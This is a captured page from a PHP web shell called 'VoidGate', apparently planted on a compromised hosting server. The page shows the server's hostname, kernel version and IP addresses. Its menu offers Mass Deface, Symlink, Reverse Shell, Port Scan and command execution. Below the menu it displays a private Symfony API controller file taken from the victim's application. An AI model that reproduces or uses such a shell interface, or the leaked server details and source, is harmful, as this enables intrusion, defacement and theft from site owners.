ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: CompanyLineController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Request; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Form\LineType; use AppBundle\Entity\Line; use AppBundle\Entity\Company; class CompanyLineController extends FOSRestController { /** * Get the list of all lines of a comany * @param integer $companyId The id of the company * @Rest\Get("/companies/{companyId}/lines") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Lines of a company", * resource=true, * description="Get the list of all lines of a company.", * ) */ public function listAction(Company $company) { //TODO $lines = $this ->getDoctrine() ->getRepository('AppBundle:Line') ->findByCompany($company); return $lines; } /** * Get one line of a comany * @param integer $companyId The id of the company * @param integer $lineId The id of the line * @Rest\Get("/companies/{companyId}/lines/{lineId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "LINE_DETAILS"} * ) * @Doc\ApiDoc( * section="Lines of a company", * resource=true, * description="Get one line of a company.", * ) */ public function showAction(Line $line,Company $company) { //TODO here we must fetch the line with the agencies working on that line if($line->getCompany() != $company){ return new JsonResponse(['error' => 'This line does not belong to this company '], Response::HTTP_FORBIDDEN); } return $line; } /** * Create a line of a comany * @param integer $companyId The id of the company * @return line the newly created line * * @Rest\Post("/companies/{companyId}/lines") * @Rest\View( * statusCode = Response::HTTP_CREATED, * SerializerGroups = {"LIST", "LINE_DETAILS"} * ) * @Doc\ApiDoc( * section="Lines of a company", * resource=true, * description="Create a line to be served by a company.", * input = { * "class"="AppBundle\Form\LineType", * }, * output = { * "class"="", * } * ) */ public function createAction(Request $request, Company $company) { $line = new Line(); $form = $this->createForm(LineType::class, $line); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($line); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $line->setCompany($company); $em = $this ->getDoctrine() ->getManager(); $em->persist($line); $em->flush(); return $line; } /** * Update a line to served by a company * * @Rest\Put("/companies/{companyId}/lines/{lineId}") * @Rest\View( * statusCode = Response::HTTP_ACCEPTED, * SerializerGroups = {"LIST", "LINE_DETAILS"} * ) * @Doc\ApiDoc( * section="Lines of a company", * resource=true, * description="Update a line to served by a company.", * input = { * "class"="AppBundle\Form\LineType", * }, * output = { * "class"="", * } * ) */ public function updateAction(Request $request, Line $line) { $form = $this->createForm(LineType::class, $line); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($line); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $line; } /** * delete a line * * @Rest\Delete("/companies/{companyId}/lines/{lineId}") * @Rest\View( * statusCode = Response::HTTP_NO_CONTENT * ) * */ public function deleteAction(){ // TODO to remove a line means the line is no more assigned to any agency of the company. we also set the field active to false } }
Coded With 💗 by
0x6ick